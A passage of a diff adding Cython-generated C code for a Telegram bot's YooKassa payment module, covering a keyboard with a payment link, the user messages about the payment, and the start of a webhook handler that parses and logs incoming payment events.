__Pyx_GOTREF(__pyx_t_9); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_u__9) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_12); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_12)) __PYX_ERR(0, 161, __pyx_L1_error); + __pyx_t_12 = 0; + + /* "handlers/payments/yookassa_pay.py":162 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 162, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 162, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = PyList_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_13); + if (__Pyx_PyList_SET_ITEM(__pyx_t_9, 0, __pyx_t_13)) __PYX_ERR(0, 162, __pyx_L1_error); + __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":160 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_13 = PyList_New(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_2)) __PYX_ERR(0, 160, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_9); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 1, __pyx_t_9)) __PYX_ERR(0, 160, __pyx_L1_error); + __pyx_t_2 = 0; + __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_13) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":159 + * payment_url = payment["confirmation"]["confirmation_url"] + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_13; + __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":166 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 166, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":167 + * + * await callback_query.message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_13 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_10 = PyTuple_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_3 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__10); + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_15; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__11); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__11); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_10, 3, __pyx_t_3, __pyx_t_15); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_13, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":168 + * await callback_query.message.answer( + * text=f" {amount} .", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * else: + */ + if (PyDict_SetItem(__pyx_t_13, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":166 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_13); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 166, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 166, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 166, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":156 + * ) + * + * if payment["status"] == "pending": # <<<<<<<<<<<<<< + * payment_url = payment["confirmation"]["confirmation_url"] + * + */ + goto __pyx_L15; + } + + /* "handlers/payments/yookassa_pay.py":171 + * ) + * else: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * + * + */ + /*else*/ { + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, __pyx_kp_u__12}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L17_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 171, __pyx_L1_error) + } + } + } + __pyx_L15:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_7yookassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_12yookassa_pay_6yookassa_webhook, "\n \320\236\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\260 \320\262\320\265\320\261\321\205\321\203\320\272\320\276\320\262 Yookassa \320\270 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \320\277\320\273\320\260\321\202\320\265\320\266\320\265\320\271.\n "); +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_7yookassa_webhook = {"yookassa_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_7yookassa_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_12yookassa_pay_6yookassa_webhook}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_7yookassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("yookassa_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 174, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yookassa_webhook") < 0)) __PYX_ERR(0, 174, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("yookassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 174, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("yookassa_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 174, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_8generator2, __pyx_codeobj__13, (PyObject *) __pyx_cur_scope, __pyx_n_s_yookassa_webhook, __pyx_n_s_yookassa_webhook, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + int __pyx_t_6; + int __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + double __pyx_t_14; + Py_ssize_t __pyx_t_15; + Py_UCS4 __pyx_t_16; + PyObject *__pyx_t_17 = NULL; + int __pyx_t_18; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + int __pyx_t_21; + char const *__pyx_t_22; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + PyObject *__pyx_t_26 = NULL; + PyObject *__pyx_t_27 = NULL; + PyObject *__pyx_t_28 = NULL; + PyObject *__pyx_t_29 = NULL; + char const *__pyx_t_30; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("yookassa_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L21_resume_from_await; + case 3: goto __pyx_L22_resume_from_await; + case 4: goto __pyx_L23_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 174, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":178 + * Yookassa . + * """ + * event = await request.json() # <<<<<<<<<<<<<< + * logger.info(f"Webhook event received: {event}") + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_event = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":179 + * """ + * event = await request.json() + * logger.info(f"Webhook event received: {event}") # <<<<<<<<<<<<<< + * + * payment_object = event.get("object", {}) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_event, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":181 + * logger.info(f"Webhook event received: {event}") + * + * payment_object = event.get("object", {}) # <<<<<<<<<<<<<< + * payment_id = payment_object.get("id") + * if not payment_id: + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_event, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_n_u_object, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payment_object = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":182 + * + * 